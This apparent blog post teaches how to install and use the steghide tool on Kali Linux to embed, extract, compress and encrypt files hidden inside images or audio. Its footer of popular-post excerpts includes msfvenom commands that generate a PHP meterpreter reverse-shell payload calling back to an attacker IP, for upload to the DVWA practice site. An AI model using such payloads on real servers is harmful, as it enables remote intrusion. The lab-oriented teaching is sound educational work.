Steganography using STEGHIDE

-

Steganography using STEGHIDE

In this post, we will learn about "STEGHIDE". There are various steganography tools available in the digital world but, the differentiation between them are that it uses a variety of algorithms to encrypt the data. Moreover, Steghide supports to hide data behind any image(jpg/jpeg/png/gif/bmp), audio (mp3/wav), excel, etc.

What is "Steganography"?

Steganography comprised of two Greek words: steganos meaning "covered" and graphein meaning "to write" that means "sheltered writing" or "concealed writing". It is a method that attempts to hide the existence of message or communication. This idea of data hiding is not new; it has been used for centuries all across the world under different regimes.  

In digital steganography, electronic communications may incorporate steganographic coding inside of a transport layer, such as a document file, picture file, program etc. Message of communication originator can begin with a harmless picture and make few alterations to it in order to hide data, so that, this alteration goes unnoticed for someone who is not particularly seeking out for it


Features:

1. Compression and Encryption of embedded data with password protection

2. Support for JPEG, BMP, WAV and AU files

3. Decryption of data

4. Support various algorithms for encryption

5. Support data emending and extraction. 

6. Embedding of a checksum to verify the integrity of the extracted data

 

Here, we go with Kali Linux…. But, If you want to go with Windows OS please click the link below to download : https://sourceforge.net/projects/steghideui/

STEP 1 – Installation : Open your terminal (Alt+ Ctrl + T) and type the following command to download and install Steghide 

apt-get install steghide




For help type:

steghide --help





STEP-2: Embedding Data behind any other content (E.g. image, audio file ...)

Here we have two files, 1) text (.txt) file and  2) image (.jpeg)  file. Our aim is to hide the text file behind the image file.

steghide embed -ef <select file to be embedded> -cf <select cover-file>



After that you may delete the text file as it is already hidden now behind the image. Now in the next step we will extract back the text file from image file.


STEP-3: Extraction of data - Open terminal and type the following command

steghide extract -sf <select stego file>


 Enter password which you provide at the emending time





STEP-4: To get the details of embed and files type the following command:

steghide info <cover- or stego-file> 

It will display information about a cover- or stego-file



Compression Mode

If we want to compress your file before hiding/embed it then we would select/use compression option.. The compression level can vary from 1 to 9. The first level gives you speed to compress whereas, at 9th level, it will provide you with the best compression techniques.

steghide embed -ef <select file to be embedded> -cf <select cover-file> -z <using level l> 

Where 1 best speed while 9 best compression



Encrypting Algorithms

We can encrypt our data that we are going to want to hide by using encryption techniques, and this can be easily achieved by:

steghide embed -ef <select file to be embedded> -cf <select cover-file> -e <specify an encryption algorithm and/or mode>

If you want more detailed descriptions please read the man(ual) page.

There are two GUI alternative similar to steghide software. 

  1.  Stegosuite - for Kali/Ubuntu

  2.  Steghide UI - for Windows

 

 

 

 

 

 

 

Comments

Post a Comment

Popular posts from this blog

Exploiting a Web Server - Using msfvenom generated PHP Web Payload

-
Image
 Exploiting a Web Server - Using msfvenom generated PHP Web Payload  This exploit uses some of the file upload functions of the DVWA web site to demonstrate how to hack through the site itself. A hacker would use this type of vulnerability to gain access to web applications, servers, and data. We will start by creating a pre-prepared PHP code that we will upload to the web server through the upload functionality provide by DVWA.  For this exercise, I hosted DVWA application in XAMPP on my host operating system. I will generate PHP code using msfvenom on Kali Linux which is hosted/run on oracle VBOX. On the Kali Linux, run the following command to generate PHP Web Payload: $ msfvenom -p php/meterpreter/reverse_tcp LHOST=<Local IP>  LPORT=<Local Port>  -f raw > phpshell.php For example, $ msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444 -f exe > phpshell.exe Here, 192.168.0.2 is a IP Address of Kali Server It will generate fo...
Read more

How To Imitate (Replicate) pbcopy And pbpaste Commands On Linux

-
Image
How To I mitate (Replicate ) pbcopy And pbpaste Commands On Linux pbcopy  on a mac enables you to copy the standard input from terminal window to your clipboard enabling you to paste it to other applications.  This functionality is not   available  by default on  Ubuntu / Linux  but can be easily imitate using  available Linux commands You can  imitate  pbcopy and  pbpaste     on ubuntu/linux by using similar tool called  xclip which does exactly the same.  However its syntax is a little complicated  it required more options/switches. So,  I am going to  imitate  it with  pbcopy and pbpaste command. Fortunately, OS X and Linux *nix based we can make use of the The alias c ommand to replicate the pbcopy and pbpaste functionality in ubuntu/linux. If you haven’t previously installed xclip simply run the following command in your terminal:    $  sudo apt-get install xclip -y Edit y...
Read more

Automate SQL Injection Exploitation with SqlMap - DVWA

-
Automate SQL Injection Exploitation with SqlMap - Damn Vulnerable Web App ( DVWA) What is a SQL Injection? SQL injection is a technique often used to attack data driven applications. SQL injection is considered a high risk vulnerability due to the fact that can lead to full compromise of the web application. This is why in almost all web application penetration testing engagements, the applications are always checked for SQL injection flaws. A general and simple definition of when an application is vulnerable to SQL injection is when the application allows you to interact with the database and to execute queries on the database then it is vulnerable to SQL injection attacks. This is done by crafted parameter/statements passed as input (HTML form) in an attempt to get the website to pass a newly formed SQL command to the database (e.g., dump the database contents to the attacker). SQL injection is a code injection technique that exploits a vulnerability in an web application's code....
Read more